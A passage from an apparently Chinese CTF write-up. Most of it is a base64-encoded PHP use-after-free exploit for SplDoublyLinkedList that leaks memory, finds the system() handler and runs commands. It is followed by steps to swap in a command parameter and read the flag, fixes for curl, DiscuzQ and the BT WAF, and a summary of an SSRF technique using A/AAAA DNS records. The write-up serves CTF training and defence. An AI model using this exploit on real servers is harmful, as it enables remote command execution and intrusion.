SB2YWx1ZQogKiB3ZSB3YW50IHRvIHJlYWQuCiAqLwpmdW5jdGlvbiByZWFkKCRhZGRyLCAkcz04KQp7CiAgICBnbG9iYWwgJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHMsICRyd19kbGw7CiAgICBpMnMoJGZha2VfZGxsX2VsZW1lbnQsICRsZWFrZWRfc3RyX29mZnNldHNbMl0gKyAweDE4LCAkYWRkciAtIDB4MTApOwogICAgaTJzKCRmYWtlX2RsbF9lbGVtZW50LCAkbGVha2VkX3N0cl9vZmZzZXRzWzJdICsgMHgyMCwgMHgwMDAwMDAwNik7CiAgICAkdmFsdWUgPSBzdHJsZW4oJHJ3X2RsbFswXSk7CiAgICBpZigkcyAhPSA4KQogICAgICAgICR2YWx1ZSAmPSAoMSA8PCAoJHMgPDwgMykpIC0gMTsKICAgIHJldHVybiAkdmFsdWU7Cn0KZnVuY3Rpb24gZ2V0X2JpbmFyeV9iYXNlKCRiaW5hcnlfbGVhaykKewogICAgJGJhc2UgPSAwOwogICAgJHN0YXJ0ID0gJGJpbmFyeV9sZWFrICYgMHhmZmZmZmZmZmZmZmZmMDAwOwogICAgZm9yKCRpID0gMDsgJGkgPCAweDEwMDA7ICRpKyspCiAgICB7CiAgICAgICAgJGFkZHIgPSAkc3RhcnQgLSAweDEwMDAgKiAkaTsKICAgICAgICAkbGVhayA9IHJlYWQoJGFkZHIsIDcpOwogICAgICAgICMgRUxGIGhlYWRlcgogICAgICAgIGlmKCRsZWFrID09IDB4MTAxMDI0NjRjNDU3ZikKICAgICAgICAgICAgcmV0dXJuICRhZGRyOwogICAgfQogICAgIyBXZSdsbCBjcmFzaCBiZWZvcmUgdGhpcyBidXQgaXQncyBjbGVhcmVyIHRoaXMgd2F5CiAgICBkaWUoJ0V4cGxvaXQgZmFpbGVkOiBVbmFibGUgdG8gZmluZCBFTEYgaGVhZGVyJyk7Cn0KZnVuY3Rpb24gcGFyc2VfZWxmKCRiYXNlKQp7CiAgICAkZV90eXBlID0gcmVhZCgkYmFzZSArIDB4MTAsIDIpOwogICAgJGVfcGhvZmYgPSByZWFkKCRiYXNlICsgMHgyMCk7CiAgICAkZV9waGVudHNpemUgPSByZWFkKCRiYXNlICsgMHgzNiwgMik7CiAgICAkZV9waG51bSA9IHJlYWQoJGJhc2UgKyAweDM4LCAyKTsKICAgIGZvcigkaSA9IDA7ICRpIDwgJGVfcGhudW07ICRpKyspIHsKICAgICAgICAkaGVhZGVyID0gJGJhc2UgKyAkZV9waG9mZiArICRpICogJGVfcGhlbnRzaXplOwogICAgICAgICRwX3R5cGUgID0gcmVhZCgkaGVhZGVyICsgMHgwMCwgNCk7CiAgICAgICAgJHBfZmxhZ3MgPSByZWFkKCRoZWFkZXIgKyAweDA0LCA0KTsKICAgICAgICAkcF92YWRkciA9IHJlYWQoJGhlYWRlciArIDB4MTApOwogICAgICAgICRwX21lbXN6ID0gcmVhZCgkaGVhZGVyICsgMHgyOCk7CiAgICAgICAgaWYoJHBfdHlwZSA9PSAxICYmICRwX2ZsYWdzID09IDYpIHsgIyBQVF9MT0FELCBQRl9SZWFkX1dyaXRlCiAgICAgICAgICAgICMgaGFuZGxlIHBpZQogICAgICAgICAgICAkZGF0YV9hZGRyID0gJGVfdHlwZSA9PSAyID8gJHBfdmFkZHIgOiAkYmFzZSArICRwX3ZhZGRyOwogICAgICAgICAgICAkZGF0YV9zaXplID0gJHBfbWVtc3o7CiAgICAgICAgfSBlbHNlIGlmKCRwX3R5cGUgPT0gMSAmJiAkcF9mbGFncyA9PSA1KSB7ICMgUFRfTE9BRCwgUEZfUmVhZF9leGVjCiAgICAgICAgICAgICR0ZXh0X3NpemUgPSAkcF9tZW1zejsKICAgICAgICB9CiAgICB9CiAgICBpZighJGRhdGFfYWRkciB8fCAhJHRleHRfc2l6ZSB8fCAhJGRhdGFfc2l6ZSkKICAgICAgICBkaWUoJ0V4cGxvaXQgZmFpbGVkOiBVbmFibGUgdG8gcGFyc2UgRUxGJyk7CiAgICByZXR1cm4gWyRkYXRhX2FkZHIsICR0ZXh0X3NpemUsICRkYXRhX3NpemVdOwp9CmZ1bmN0aW9uIGdldF9iYXNpY19mdW5jcygkYmFzZSwgJGVsZikgewogICAgbGlzdCgkZGF0YV9hZGRyLCAkdGV4dF9zaXplLCAkZGF0YV9zaXplKSA9ICRlbGY7CiAgICBmb3IoJGkgPSAwOyAkaSA8ICRkYXRhX3NpemUgLyA4OyAkaSsrKSB7CiAgICAgICAgJGxlYWsgPSByZWFkKCRkYXRhX2FkZHIgKyAkaSAqIDgpOwogICAgICAgIGlmKCRsZWFrIC0gJGJhc2UgPiAwICYmICRsZWFrIDwgJGRhdGFfYWRkcikgewogICAgICAgICAgICAkZGVyZWYgPSByZWFkKCRsZWFrKTsKICAgICAgICAgICAgIyAnY29uc3RhbnQnIGNvbnN0YW50IGNoZWNrCiAgICAgICAgICAgIGlmKCRkZXJlZiAhPSAweDc0NmU2MTc0NzM2ZTZmNjMpCiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9IGVsc2UgY29udGludWU7CiAgICAgICAgJGxlYWsgPSByZWFkKCRkYXRhX2FkZHIgKyAoJGkgKyA0KSAqIDgpOwogICAgICAgIGlmKCRsZWFrIC0gJGJhc2UgPiAwICYmICRsZWFrIDwgJGRhdGFfYWRkcikgewogICAgICAgICAgICAkZGVyZWYgPSByZWFkKCRsZWFrKTsKICAgICAgICAgICAgIyAnYmluMmhleCcgY29uc3RhbnQgY2hlY2sKICAgICAgICAgICAgaWYoJGRlcmVmICE9IDB4Nzg2NTY4MzI2ZTY5NjIpCiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9IGVsc2UgY29udGludWU7CiAgICAgICAgcmV0dXJuICRkYXRhX2FkZHIgKyAkaSAqIDg7CiAgICB9Cn0KZnVuY3Rpb24gZ2V0X3N5c3RlbSgkYmFzaWNfZnVuY3MpCnsKICAgICRhZGRyID0gJGJhc2ljX2Z1bmNzOwogICAgZG8gewogICAgICAgICRmX2VudHJ5ID0gcmVhZCgkYWRkcik7CiAgICAgICAgJGZfbmFtZSA9IHJlYWQoJGZfZW50cnksIDYpOwogICAgICAgIGlmKCRmX25hbWUgPT0gMHg2ZDY1NzQ3Mzc5NzMpIHsgIyBzeXN0ZW0KICAgICAgICAgICAgcmV0dXJuIHJlYWQoJGFkZHIgKyA4KTsKICAgICAgICB9CiAgICAgICAgJGFkZHIgKz0gMHgyMDsKICAgIH0gd2hpbGUoJGZfZW50cnkgIT0gMCk7CiAgICByZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gZ2V0X3N5c3RlbV9hZGRyZXNzKCRiaW5hcnlfbGVhaykKewogICAgJGJhc2UgPSBnZXRfYmluYXJ5X2Jhc2UoJGJpbmFyeV9sZWFrKTsKICAgIHByaW50KCdFTEYgYmFzZTogMHgnIC5kZWNoZXgoJGJhc2UpIC4gIlxuIik7CiAgICAkZWxmID0gcGFyc2VfZWxmKCRiYXNlKTsKICAgICRiYXNpY19mdW5jcyA9IGdldF9iYXNpY19mdW5jcygkYmFzZSwgJGVsZik7CiAgICBwcmludCgnQmFzaWMgZnVuY3Rpb25zOiAweCcgLmRlY2hleCgkYmFzaWNfZnVuY3MpIC4gIlxuIik7CiAgICAkemlmX3N5c3RlbSA9IGdldF9zeXN0ZW0oJGJhc2ljX2Z1bmNzKTsKICAgIHJldHVybiAkemlmX3N5c3RlbTsKfQokZGxscyA9IFtdOwokc3RycyA9IFtdOwokcndfZGxsID0gbmV3IFNwbERvdWJseUxpbmtlZExpc3QoKTsKIyBDcmVhdGUgYSBjaGFpbiBvZiBkYW5nbGluZyB0cmlnZ2Vycywgd2hpY2ggd2lsbCBhbGwgaW4gdHVybgojIGZyZWUgY3VycmVudC0+bmV4dCwgcHVzaCBhbiBlbGVtZW50IHRvIHRoZSBuZXh0IGxpc3QsIGFuZCBmcmVlIGN1cnJlbnQKIyBUaGlzIHdpbGwgbWFrZSBzdXJlIHRoYXQgZXZlcnkgY3VycmVudC0+bmV4dCBwb2ludHMgdGhlIHNhbWUgbWVtb3J5IGJsb2NrLAojIHdoaWNoIHdlIHdpbGwgVUFGLgpmb3IoJGkgPSAwOyAkaSA8IE5CX0RBTkdMSU5HOyAkaSsrKQp7CiAgICAkZGxsc1skaV0gPSBuZXcgU3BsRG91Ymx5TGlua2VkTGlzdCgpOwogICAgJGRsbHNbJGldLT5wdXNoKG5ldyBEYW5nbGluZ1RyaWdnZXIoJGkpKTsKICAgICRkbGxzWyRpXS0+cmV3aW5kKCk7Cn0KIyBXZSB3YW50IG91ciBVQUYnZCBsaXN0IGVsZW1lbnQgdG8gYmUgYmVmb3JlIHR3byBzdHJpbmdzLCBzbyB0aGF0IHdlIGNhbgojIG9idGFpbiB0aGUgYWRkcmVzcyBvZiB0aGUgZmlyc3Qgc3RyaW5nLCBhbmQgaW5jcmVhc2UgaXMgc2l6ZS4gV2UgdGhlbiBoYXZlCiMgUi9XIG92ZXIgYWxsIG1lbW9yeSBhZnRlciB0aGUgb2J0YWluZWQgYWRkcmVzcy4KZGVmaW5lKCdOQl9TVFJTJywgNTApOwpmb3IoJGkgPSAwOyAkaSA8IE5CX1NUUlM7ICRpKyspCnsKICAgICRzdHJzW10gPSBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgU0laRV9FTEVNX1NUUikpOwogICAgaTJzKCRzdHJzWyRpXSwgMCwgU1RSX01BUktFUik7CiAgICBpMnMoJHN0cnNbJGldLCA4LCAkaSwgNyk7Cn0KIyBGcmVlIG9uZSBzdHJpbmcgaW4gdGhlIG1pZGRsZSwgLi4uCiRzdHJzW05CX1NUUlMgLSAyMF0gPSAxMjM7CiMgLi4uIGFuZCBwdXQgdGhlIHRvLWJlLVVBRidkIGxpc3QgZWxlbWVudCBpbnN0ZWFkLgokZGxsc1swXS0+cHVzaCgwKTsKIyBTZXR1cCB0aGUgbGFzdCBETGxpc3QsIHdoaWNoIHdpbGwgZXhwbG9pdCB0aGUgVUFGCiRkbGxzW05CX0RBTkdMSU5HXSA9IG5ldyBTcGxEb3VibHlMaW5rZWRMaXN0KCk7CiRkbGxzW05CX0RBTkdMSU5HXS0+cHVzaChuZXcgVUFGVHJpZ2dlcigpKTsKJGRsbHNbTkJfREFOR0xJTkddLT5yZXdpbmQoKTsKIyBUcmlnZ2VyIHRoZSBidWcgb24gdGhlIGZpcnN0IGxpc3QKJGRsbHNbMF0tPm9mZnNldFVuc2V0KDApOw==

最后发送上去,即可执行命令,这里为了方便将其中固定的 id 命令改为可变的 cmd 参数。

成功执行命令。

14.执行 /readflag 即可成功读取到 flag。

修复方式

  • 对于 Curl:保持跳转之后解析以及访问行为一致,前面使用 A 记录访问的后面也应该使用 A 记录进行访问。
  • 对于 DiscuzQ:基于业务场景对接口能访问的域名进行限制。
  • 对于宝塔 WAF:写入前对路径做判断,同时想办法对 EOF 字符进行处理,不要受其影响。

总结

这种 SSRF 方式属于对 Blackcat 2020 上展示的利用 TLS 方法的升华,原方式由于 curl 等组件存在 DNS 缓存的原因,很多时候并不能利用成功。本文从另外一种角度进行阐述,利用网络请求时对存在 A 和 AAAA 记录的域名特殊的处理行为,将攻击者恶意构造的数据发送到目标上,从而达成攻击目的。

也希望各位选手在打 CTF 的时候也能多关注一些前沿的东西,对其作出自己的总结和思考,这样在这条路上才能走得更好更远。